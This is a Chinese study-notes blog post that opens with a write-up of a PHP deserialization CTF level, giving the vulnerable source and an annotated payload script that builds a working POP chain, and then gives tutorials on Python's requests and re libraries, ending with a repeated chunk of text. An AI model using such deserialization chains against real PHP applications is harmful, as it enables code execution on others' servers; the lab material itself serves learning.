unserialize_pop和requests、re库学习

反序列化靶场第八关

是一个pop链的关卡

源码:

<?php
include("./flag8.php");

class a
{
    public $object;

    public function resolve()
    {
        array_walk($this, function ($fn, $prev) {
            if ($fn[0] === "system" && $prev === "ls") {
                echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct()
    {
        @$this->object->add();
    }

    public function __toString()
    {
        return $this->object->string;
    }
}

class b
{
    protected $filename;

    protected function addMe()
    {
        return "Add Failed. Filename:" . $this->filename;
    }

    public function __call($func, $args)
    {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class c
{
    private $string;

    public function __construct($string)
    {
        $this->string = $string;
    }

    public function __get($name)
    {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["tryhackme"])) {
    unserialize($_GET['tryhackme']);
} else {
    highlight_file(__FILE__);
}
?>

payloads(思路分析写在里面):

<?php
class a
{
    public $object;

    public function resolve()//6.执行resolve
    {
        array_walk($this, function ($fn, $prev) //这里的$this需要一个数组类型,$fn是一个value而$prev是一个key---->array("ls"=>"system")
            {
            if ($fn[0] === "system" && $prev === "ls") {//如果key=ls的value=system则可获取flag
                echo "\n"."success\n";
            }
        });
    }

    public function __destruct()
    {
        @$this->object->add();//2.add()方法不存在,触发__call魔术方法     
    }

    public function __toString()
    {
        return $this->object->string;//5.触发__get函数.这里返回类c的string属性==array(new a(array("ls"=>"system")), 'resolve')
    }
}
class b
{
    protected $filename;
    public function __construct()//1_2.
    {
        $this->filename = new a();
        $this->filename->object = new c(array("string" => array(new a(), 'resolve')));//这句话的左边表示引用实例化后的类a的object属性。
        //上面这句话右边表示实例化类c,类c实例化对象是一个数组,这个数组的key='string',value=array(new a(), 'resolve'),也就是二维数组的意思;结合左右内容可知,结果可以理解为$object= new c()
    }
    protected function addMe()
    {
        return "Add Failed. Filename:" . $this->filename;//4.调用filename属性。此时的属性值filename为:new a(),触发__tostring
    }

    public function __call($func, $args)
    {
        call_user_func([$this, $func . "Me"], $args);//3.将addMe()作为回调函数,函数value是$args=null
    }
}
class c
{
    private $string;

    public function __construct($array)//1_2.
    {
        $this->string = $array;//将类c的属性string赋值为一个二维数组array('string' => array(new a(), 'resolve'))
        $this->string["string"][0]->ls = array("system");//将二维数组的对象new a()的 ls 属性赋值为一个数组array("system"),创建一个新的属性ls=array("system")
    }

    public function __get($name){
        //var_dump($name);
        $var = $this->$name;//1_3.$var==new c(array('string' => )
        $var[$name]();//array(new a(array("object=>null,""ls"=>"system")), 'resolve'))
    }
}
$flag = new a();//实例化a 
$flag->object = new b();//1.代码逻辑第一步:将属性object作为一个对象。并且触发__destruct同时实例化b
$data = serialize($flag);
echo urlencode($data);

获得flag:flag{Add_Th3_4ttRibUt3_1s_g0oD_Ch0OsE}

requests库

requests实现内容

  • 保持活力和连接池
  • 支持国际域名和网址
  • 会话与Cookie持久性
  • 浏览器式SSL验证
  • 自动内容解码
  • 基本/摘要式身份验证
  • 自动解压缩
  • Unicode响应body
  • HTTP(s)代理支持
  • 多部分文件上传
  • 流媒体下载
  • 连接超时
  • 分块的请求
  • .netrc 支持

requests请求

所有请求的功能可通过7种方法(写几个常用的)访问,他们都返回response对象的一个实例。

#参数
method:  request对象的方法(POST)
url:  	 request对象的URL
params:	  可选的,要在查询字符串中发送的字典或字节request
data:	  可选的,字典或元祖列表以表单编码,字节或类似文件的对象在主体中发送[(key,value)]
json:	  可选的,一个json可序列化的python对象,在主体中发送request
headers:  可选的,用于编写http头信息
cookies:  可选,用dict或cookieJar对象发送Cookies
file: 	  可选,用于多部分编码上传的字典,可以是多元祖,其中是定义给定文件的内容类型的字符串,以及包含问文件添加的额外头文件的类字典对象
auth:	  可选,身份验证元祖,自定义http身份验证
timeout:  可选,发送等待请求数据的超时时间(float/tuple),设置为元祖即为练级connect和read读取超时,如果设置为None即为永久等待
allow_redirects:   布尔值,可选,启用或禁用GET,OPTIONS,POST,PUT,PATCH,DELETE,HEAD重定向,默认为true
proxies:	可选,字典映射协议到代理的URL
verify:		可选,可以是布尔值,可以指定验证服务器的TLS证书路径,默认为true
stream:		可选,如果是False,响应内容将立即下载
cert:		可选,如果是string,则为ssl客户端证书文件路径,如果是元祖则('cert','key')指定证书和密钥
#response = requests.request(method,url,**kwargs):构造并发送一个request,返回一个response对象
import requests
header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36'
}
response=request('GET','https://api.github.com/events',headers=header) #定义头信息发送请求返回response对象
print(response.url) #返回请求的URL
print(response.status_code)  #返回状态码200
print(response.encoding)  #返回编码
print(response.text)  #返回响应的内容以unicode表示
print(response.headers) #返回头信息
print(response.cookies) #返回cookies CookieJar
print(response.json()) #返回json数据
================================================================================

#response = requests.get(url,params=None,**kwargs):发送GET请求,params:要在查询字符串中发送的字典或字节request,返回一个response对象
import requests
response=get('http://httpbin.org/get',params={'name':'py.qi','age':22})#添加参数查询
print(response.text) #返回结果包含args参数,headers头信息,URL和IP信息
print(response.url) #返回组合的URL(http://httpbin.org/get?name=py.qi&age=22)
print(response.json()) #如果返回网页是JSON格式,可以使用json()方法解析返回字典数据
=================================================================================

#response = requests.post(url,data=None,json=None,**kwargs):发送POST请求,data:字典数据也可以是元组列表,将被表单编码,以字节或文件对象在数据主体中发送。json:在json数据中发送正文,返回一个response对象
import requests
data={'k1':'v1','k2':'v2'}
r = requests.post('http://httpbin.org/post',data=data) #以表单数据发送数据
body=r.json()  #获得字典格式的返回数据 
print(body['form'])  #窃取表单编码数据
=================================================================================

#上传文件:files参数指定上传文件,上传的文件在主体数据中
import requests
url='http://httpbin.org/post'
files={'file':open('network.csv','rb')}
files1={'file':('filename.xls',open('fileanme.xls','rb'),'application/vnd.ms-excel',{'expires':'0'})} #设置文件名
r=requests.post(url,files=files) #指定文件发送请求
print(r.json()['files'])
#上传多个文件
multple_files=[
    ('images1',('11.jpg',open('11.jpg','rb'),'image/jpg')),
    ('images2',('22.jpg',open('22.jpg','rb'),'image/jpg')),
]  #字段代表意思依次为:文件名,文件对象,文件类型
r=requests.post(url,files=multple_files)
print(r.text)

抓取网页

import requests
import re
url='http://www.runoob.com/python3/python3-reg-expressions.html'
headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36'
}
response=requests.get(url,headers=headers)
response.encoding='UTF-8'
#print(response.encoding)
#print(response.text)
pattern = re.compile('id="content">.*?<h1>(.*?)</h1>.*?<p>(.*?)</p><p>(.*?)</p>.*?<p>(.*?)</p>.*?<p>(.*?)</p>.*?<p>(.*?)</p>',re.S)
text = re.search(pattern,response.text)

for i in text.groups():
    print(i)

抓取二进制文件

图像,BytesIO创建内存对象存储数据,Image打开图像获得图像对象,也可以用上下问方式将图像直接写入文件,适合音频,视频等文件

import requests
from io import BytesIO
from PIL import Image

url='http://docs.python-requests.org/en/master/_static/requests-sidebar.png'
r=requests.get(url)
i=Image.open(BytesIO(r.content)) #获得一个图像对象
print(i.format,i.size,i.mode) #查看图像的来源,像素和像素类型(RGB)
#print(i.show())  #显示图片
i.save('requests_log.png')  #保存图像数据到文件

requests请求响应

class response.Response :该Response对象包含服务器对HTTP请求的响应信息

import requests
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36'}
r=requests.get('http://docs.python-requests.org/en/master/',headers=headers)
print('chardet提供的编码:',r.apparent_encoding)
print('响应字节内容:',r.content)
print('响应cookies:',r.cookies.items())
print('请求到响应之间的时间:',r.elapsed)
print('响应编码:',r.encoding)
print('响应头信息:',r.headers)
print('头信息中的server:',r.headers['Server'])
print('请求历史记录:',r.history)
print('迭代响应数据:',r.iter_lines())
#print('响应json编码数据:',r.json())
print('返回解析的响应头链接:',r.links)
print('返回状态码:',r.status_code)
print('响应str内容:',r.text)
print('响应URL:',r.url)
print('返回发送的头参数:',r.request.headers)

#
chardet提供的编码: Windows-1254
响应字节内容: b'\n<!DOCTYPE html PUBLIC...
响应cookies: []
请求到响应之间的时间: 0:00:00.844991
响应编码: ISO-8859-1
响应头信息: {'Server': 'nginx/1.10.3 (Ubuntu)', 'Date': 'Wed, 20 Jun 2018 08:10:26 GMT', 'Content-Type': 'text/html', 'Last-Modified': 'Thu, 14 Jun 2018 13:27:43 GMT', 'Transfer-Encoding': 'chunked', 'Connection': 'keep-alive', 'Vary': 'Accept-Encoding', 'ETag': 'W/"5b226d4f-8438"', 'X-Cname-TryFiles': 'True', 'X-Served': 'Nginx', 'X-Deity': 'web05', 'Content-Encoding': 'gzip'}
头信息中的server: nginx/1.10.3 (Ubuntu)
请求历史记录: []
迭代响应数据: <generator object Response.iter_lines at 0x0000005A4A6F3888>
返回解析的响应头链接: {}
返回状态码: 200
响应str内容: <!DOCTYPE html PUBLIC.....
响应URL: http://docs.python-requests.org/en/master/

其他

除了上面最基本的请求和响应,requests库还包括了:异常处理、cookies、请求会话(session)、SSL证书验证、代理设置、身份认证、编码等其他内容。内容比较多,有些平时用不到或者用的少,我就不再展开了(背书),需要时再查询即可。

实例(爬取网站:https://zy.zcocc.com/):

# 可检索类型爬虫,爬取小型网站

# 导入库
import sys
import requests
from lxml import etree
# pip install prettytable
from prettytable import PrettyTable

# 默认post传参:wd:权力的游戏
text = {"wd":"权力的游戏"}
url = 'https://zy.zcocc.com/index.php/vod/search.html'
domainurl = 'https://zy.zcocc.com/'

video_name = input("请输入您要查询的视频名称:")
text["wd"] = video_name

# 请求一层获得一层数据
response = requests.post(url,text)#默认首页数据,默认通过get方式请求

# 如果出现乱码,需要设置编码
# response.encoding ='UTF-8'

# 页面的状态码
print('当网站前连接状态为:{}'.format(response.status_code))

# 通过状态码进行业务处理
if response.status_code==200:
    # 可进行业务处理
    print('===============爬虫开始工作===================')

    # 获得整个网页的内容,包含HTML标签的内容
    pageindex = response.text
    # print(pageindex)
    # 转换为XPATH对象
    index_root = etree.HTML(pageindex)
    # print(index_root)

    # 通过表达式来解释内容
    index_page_title = index_root.xpath('//div[@class="xing_vb"]/ul/li/span[@class="xing_vb4"]/a/text()')
    # print(index_page_title)
    index_page_title_url = index_root.xpath('//div[@class="xing_vb"]/ul/li/span[@class="xing_vb4"]/a/@href')
    # index_page_title_1 = [x.strip() for x in index_page_title if x.strip() != '']#去除列表中的\n

    # 提取数据,并按要求解析最终数据

    indexnum = 0
    for piurl in index_page_title_url:
        title1 = index_page_title[indexnum]
        indexnum += 1
        table1 = PrettyTable([str(indexnum)+"《"+title1+"》资源列表"])
        table2 = PrettyTable(["资源名称","播放地址"])

        # 可以在这里写入文本或者写入数据库,或调用存储有关的函数完成该操作

        # 进一步爬取2级数据
        response_2 = requests.get(domainurl+piurl)#完整的二级页面请求地址

        # 判断二级页的状态码
        if response_2.status_code==200:
            print('-------------------------------------------《'+title1+'》的二级页的爬取开始----------------')
            pagechild = response_2.text

            # 转为xpath对象
            child_root = etree.HTML(pagechild)

            # 解析内容;解析播放地址和m3u8地址
            # /html/body/div[4]/div[4]/div[2]/div/ul/li[1]/a
            child_page_url = child_root.xpath("//div[@class='warp']/div/div/div/ul/li/a")
            # print(child_page_url)

            # 解析并提取内容
            for piurl_2 in child_page_url:
                child_page_url_text_1 = piurl_2.xpath('text()')
                # print(child_page_url_text_1)

                child_page_url_text_2 =piurl_2.xpath('@href')
                # 提取集数和URL
                # print(child_page_url_text_1+child_page_url_text_2)
                
                # 此处应该可以讲数据存储到数据库或文本
                table2.add_row([child_page_url_text_1,child_page_url_text_2])#此处注意add.row不支持“+”连接两个数据
        else:
            table2.add_row(['系统提示:',title1+'的2级页无法打开'])
        
        # 将table2加入到table1中
        table1.add_row([table2])
        print(table1)

        # 做一个暂停键
        select = input('《'+title1+'》解析完成,按任意键继续,输入exit退出程序......')
        if select=='exit':
            sys.exit(0)

else:
    print('状态码不是200,已经停止工作')
    

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lb7DafZi-1630078729408)(C:\Users\17276\Desktop\web_file\task\task5_imgae\1.jpg)]

正则re库

常用的匹配模式

\w      匹配字母数字及下划线
\W      匹配非字母数字下划线
\s      匹配任意空白字符,等价于[\t\n\r\f]
\S      匹配任意非空字符
\d      匹配任意数字
\D      匹配任意非数字
\A      匹配字符串开始
\Z      匹配字符串结束,如果存在换行,只匹配换行前的结束字符串
\z      匹配字符串结束
\G      匹配最后匹配完成的位置
\n      匹配一个换行符
\t      匹配一个制表符 ^ 匹配字符串的开头
$       匹配字符串的末尾
.       匹配任意字符,除了换行符,re.DOTALL标记被指定时,则可以匹配包括换行符的任意字符
[....]  用来表示一组字符,单独列出:[amk]匹配a,m或k
[^...]  不在[]中的字符:[^abc]匹配除了a,b,c之外的字符 
*       匹配前一个字符0次或无限次扩展
?       匹配前一个字符0次或1次扩展
+		匹配前一个字符1次或无限次扩展                                   
{n}     精确匹配n前面的表示
{m,m}   匹配n到m次由前面的正则表达式定义片段,贪婪模式
a|b     匹配a或者b
()      匹配括号内的表达式,也表示一个组

匹配IP地址的正则表达式

IP地址字符串形式的正则表达式

(IP地址分4段,每段0-255)由4段由.分隔的数字构成,每段取值0-255    

\d+.\d+.\d+.\d+  不考虑每一段的取值范围和空间,只考虑他们之前出现的.来分隔

\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}中间的每一串数字出现的范围都是1个,2个或到3个的字符串的长度

   不精确300.300.300.300     ✘

   精确写法

0-99[1-9]?\d        100-1991\d{2}    200-2492[0-4]\d    250-25525[0-5]

0-255这样一个空间事实上是由0-99,100-199,200-249,250-255这四段正则表达式组合而成,我们可以采用|操作符以及()形式将他们组织起来

([1-9]?\d|1\d{2}|2[0-4]\d|25[0-5])

再表达了0-255之后,我们可以使用{}.的形式来构成IP地址的正则表达式

(([1-9]?\d|1\d{2}|2[0-4]\d|25[0-5]).){3}([1-9]?\d|1\d{2}|2[0-4]\d|25[0-5])

RE库主要功能函数

调用方式:import re

函数                说明

re.search()           在一个字符串中搜索匹配正则表达式的第一个位置,返回match对象(在一个字符串中完整的搜索可能匹配正则表达式的位置)

re.match()            从一个字符串的开始位置起匹配正则表达式,返回match对象(从头开始匹配)

re.findall()           搜索字符串,以列表类型返回全部能匹配的子串(发现里面所有子串,并以列表形式返回)

re.split()            将一个字符串按照正则表达式匹配结果进行分割,返回列表类型(根据正则表达式进行分割,返回相关列表)

re.finditer()          搜索字符串,返回一个匹配结果的迭代类型,每个迭代元素是match对象(返回一个迭代类型,每个类型都是每次匹配的一个match对象)

re.sub()             在一个字符串中替换所有匹配正则表达式的子串,返回替换后的字符串(用正则表达式匹配的地方替换为另外一个字符串,并返回替换后的字符串)

===============================================================================

re.search(pattern,string,flags=0)

pattern:正则表达式的字符串或原生字符串表示

string:待匹配字符串

flags:正则表达式使用时的控制标记

  flags:正则表达式使用时的控制标记

  常用标记            说明

  re.I  re.IGNORECASE      忽略正则表达式的大小写,[A-Z]能够匹配小写字符

  re.M   re.MULTILINE      正则表达式中的^操作符 能够将给定字符串的每行当做匹配开始

  re.S   re.DOTALL        正则表达式中的.操作符 能够匹配所有字符(包括换行符)

re.match()

re.match(pattern,string,flags=0)
#三个参数:
#1. pattern;正则表达式
#2. string: 被筛选的字符串
#3. flags:匹配模式

尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配的话,match()就会返回None

最常规的匹配
import re
#re.match
content = "hello"
result = re.match('^h\w\w\wo$',content)
print(len(content))         # 获取字符串的长度 5
print(result)               # <_sre.SRE_Match object; span=(0, 5), match='hello'>
print(result.group())       # 输出匹配结果     hello
print(result.span())        # 匹配结果范围    (0, 5)
#字符多的话
content = "helloworld 123 aaa _world"
result  = re.match( "^hello\w\w\w\w\w\s\d\d\d\s\w\w\w\s_world$",content) 
print(content.__len__())    # 字符串长度 25
print(result.group())       # helloworld 123 aaa _world
#有多少个字符就要写多少个,多的可以简略写
# \w\w\w\w\w==\w{5}
泛匹配
#为了方便,将上述的正则规则进行更改
content = "helloworld 123 aaa _world"
re_match = "^he.*_world$"
result  = re.match(re_match,content) 
print(content.__len__())    # 字符串长度 25
print(result.group())       # helloworld 123 aaa _world
匹配目标
#如果为了匹配字符串中具体的目标,则需要通过()括起来,例子如下:
content = "helloworld 123 aaa _world"
re_math = "^hello(\w{5})\s(\d\d\d)\s\w\w\w\s_world$"
result  = re.match(re_math,content) 
print(result.group(1))      # world
print(result.group(2))      # 123
# 注意,group(n) n是几,就是对应第几个括号
贪婪匹配
content = "HelloWorld 12345678945646465 a demo"
re_math = "^HelloWorld\s.*o$"
re_math2 = "^HelloWorld\s.*?(\d+).*o$"
result = re.match(re_math,content)
result2 = re.match(re_math2,content)
print(result.group())      #HelloWorld 12345678945646465 a demo
print(result2.group(1))    #12345678945646465
# .* 会尽可能的多匹配
# 如果加上 ?(\d+) ?就可以全匹配d
匹配模式(flags)
content = """HelloWorld 123456 a re_math
my name is lsy
"""

result =re.match('^He.*?(\d+).*?lsy$',content,re.DOTALL)#re.DOTALL匹配包括换行符在内的所有字符
print(result)
print(result.group())   #正常
print(result.group(1))  #123456
转义
正则表达式的表示类型

  raw string类型(原生字符串类型):不包含转义符的字符串,原生字符串中的\不会被解释成转义符

    re库采用raw string类型表示正则表达式,表示为:r'text'

    例如:  r'[1-9]\d{5}'

            r'\d{3}-\d{8}|\d{4}-\d{7}'

    原生字符串类型和字符串类型所不同 的是,只需要在字符串的表示前加一个小写的字符r

  string类型,更繁琐。:string类型中将\理解为转义符

    例如:  '[1-9]\\d{5}'

            '\\d{3}-\\d{8}|\\d{4}-\\d{7}'

当【正则表达式】包含《转义符》时,使用raw string

re.search()

re.search(pattern,string,flags=0)

#pattern:正则表达式的字符串或原生字符串表示
#string:待匹配字符串
#flags:正则表达式使用时的控制标记

扫描整个字符串(不需要再写^以及$)返回第一个成功匹配的结果。

content = "hello haha hello start is_Me lalal 12121 a Re end things"

result = re.search("start.*?(\d+).*?end",content)
print(result)
print(result.group())       #start is_Me lalal 12121 a Re end
print(result.group(1))      #12121

#网页信息
html = '''<div id="songs-list">
    <h2 class="title">经典老歌</h2>
    <p class="introduction">
        经典老歌列表
    </p>
    <ul id="list" class="list-group">
        <li data-view="2">一路上有你</li>
        <li data-view="7">
            <a href="/2.mp3" singer="任贤齐">沧海一声笑</a>
        </li>
        <li data-view="4" class="active">
            <a href="/3.mp3" singer="齐秦">往事随风</a>
        </li>
        <li data-view="6"><a href="/4.mp3" singer="beyond">光辉岁月</a></li>
        <li data-view="5"><a href="/5.mp3" singer="陈慧琳">记事本</a></li>
        <li data-view="5">
            <a href="/6.mp3" singer="邓丽君">但愿人长久</a>
        </li>
    </ul>
</div>'''

result = re.search('<li.*?active.*?singer="(.*?)">(.*?)</a>',html,re.S)
print(result.groups())      #('齐秦', '往事随风')
print(result.group(1))      #齐秦
print(result.group(2))      #往事随风

re.findall

搜索字符串,以列表的形式返回全部能匹配的子串。

result = re.findall(r'[1-9]\d{5}','BIT100081 TSU100084')
print(result) 				#['100081', '100084']
print(type(result))        # <class 'list'>

#网页信息
html = '''<div id="songs-list">
    <h2 class="title">经典老歌</h2>
    <p class="introduction">
        经典老歌列表
    </p>
    <ul id="list" class="list-group">
        <li data-view="2">一路上有你</li>
        <li data-view="7">
            <a href="/2.mp3" singer="任贤齐">沧海一声笑</a>
        </li>
        <li data-view="4" class="active">
            <a href="/3.mp3" singer="齐秦">往事随风</a>
        </li>
        <li data-view="6"><a href="/4.mp3" singer="beyond">光辉岁月</a></li>
        <li data-view="5"><a href="/5.mp3" singer="陈慧琳">记事本</a></li>
        <li data-view="5">
            <a href="/6.mp3" singer="邓丽君">但愿人长久</a>
        </li>
    </ul>
</div>'''

results = re.findall('<li.*?href="(.*?)".*?singer="(.*?)">(.*?)</a>', html, re.S)
#re.findall('<li.*?>\s*?(<a.*?>)?(\w+)(</a>)?\s*?</li>',html,re.S)
#(<a.*?>)? 这种用法是因为html中有的有a标签,有的没有的,?表示匹配一个或0个,正好可以用于匹配
print(results)
#[('/2.mp3', '任贤齐', '沧海一声笑'), ('/3.mp3', '齐秦', '往事随风'), ('/4.mp3', 'beyond', '光辉岁月'), ('/5.mp3', '陈慧琳', '记事本'), ('/6.mp3', '邓丽君', '但愿人长久')]

for result in results:
    print(result)
    print(result[0], result[1], result[2])
'''('/2.mp3', '任贤齐', '沧海一声笑')
/2.mp3 任贤齐 沧海一声笑
('/3.mp3', '齐秦', '往事随风')
/3.mp3 齐秦 往事随风
('/4.mp3', 'beyond', '光辉岁月')
/4.mp3 beyond 光辉岁月
('/5.mp3', '陈慧琳', '记事本')
/5.mp3 陈慧琳 记事本
('/6.mp3', '邓丽君', '但愿人长久')
/6.mp3 邓丽君 但愿人长久
'''

re.split

re.split(pattern,string,maxsplit=0,flags=0)
#maxsplit:最大分割数,剩余部分作为最后一个元素输出
result = re.split('[1-9]\d{5}','BIT100081 TSU100084')
print(result)           #['BIT', ' TSU', '']
print(result[1])        #TSU
result2 =  re.split(r'[1-9]\d{5}','BIT100081 TSU100084',maxsplit=1)
print(result2)          #['BIT', ' TSU100084']

re.sub

用一个新的字符串替换正则表达式匹配上的那些字符串,并与原来的字符串进行组合,返回一个新的字符串

re.sub(pattern,repl,string,count=0,flags=0)
#re.sub(正则表达式,替换成的字符串,原字符串,匹配的最大替换字数,匹配模式)

result = re.sub(r'[1-9]\d{5}',':zipcode','BIT100081 TSU100084')
print(result)       #BIT:zipcode TSU:zipcode

content = "hello haha hello start is_Me lalal 12121 a Re end things"
content = re.sub('\d+',' ',content)
#所有的数字都会被替代,''内有几个空格就替换为几个空格
print(content)      #hello haha hello start is_Me lalal   a Re end things

在有些情况下我们替换字符的时候,还想获取我们匹配的字符串,然后在后面添加一些内容,可以通过下面方式实现:

content = "Extra things hello 123455 World_this is a regex Demo extra things"
# \1是获取第一个匹配的结果,为了防止转义字符的问题,我们需要在前面加上r
content = re.sub('(\d+)',r'\1 7890',content)#在匹配结果后面加上“ 空格7890”
print(content)
#Extra things hello 123455 7890 World_this is a regex Demo extra things

re.compile(面向对象的方式)

compile 函数根据一个模式字符串和可选的标志参数生成一个正则表达式对象。该对象拥有一系列方法用于正则表达式匹配和替换。

这种方法的好处是,经过一次编译,当我们需要多次对正则表达式进行匹配和使用时,可以使用这种方式,加快整个程序的运行。

pat = re.compile(r'[1-9]\d{5}')
result = pat.search('BIT 100081')

hello haha hello start is_Me lalal 12121 a Re end things"
content = re.sub(’\d+’,’ ‘,content)
#所有的数字都会被替代,’'内有几个空格就替换为几个空格
print(content) #hello haha hello start is_Me lalal a Re end things


在有些情况下我们替换字符的时候,还想获取我们匹配的字符串,然后在后面添加一些内容,可以通过下面方式实现:

```python
content = "Extra things hello 123455 World_this is a regex Demo extra things"
# \1是获取第一个匹配的结果,为了防止转义字符的问题,我们需要在前面加上r
content = re.sub('(\d+)',r'\1 7890',content)#在匹配结果后面加上“ 空格7890”
print(content)
#Extra things hello 123455 7890 World_this is a regex Demo extra things

re.compile(面向对象的方式)

compile 函数根据一个模式字符串和可选的标志参数生成一个正则表达式对象。该对象拥有一系列方法用于正则表达式匹配和替换。

这种方法的好处是,经过一次编译,当我们需要多次对正则表达式进行匹配和使用时,可以使用这种方式,加快整个程序的运行。

pat = re.compile(r'[1-9]\d{5}')
result = pat.search('BIT 100081')
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值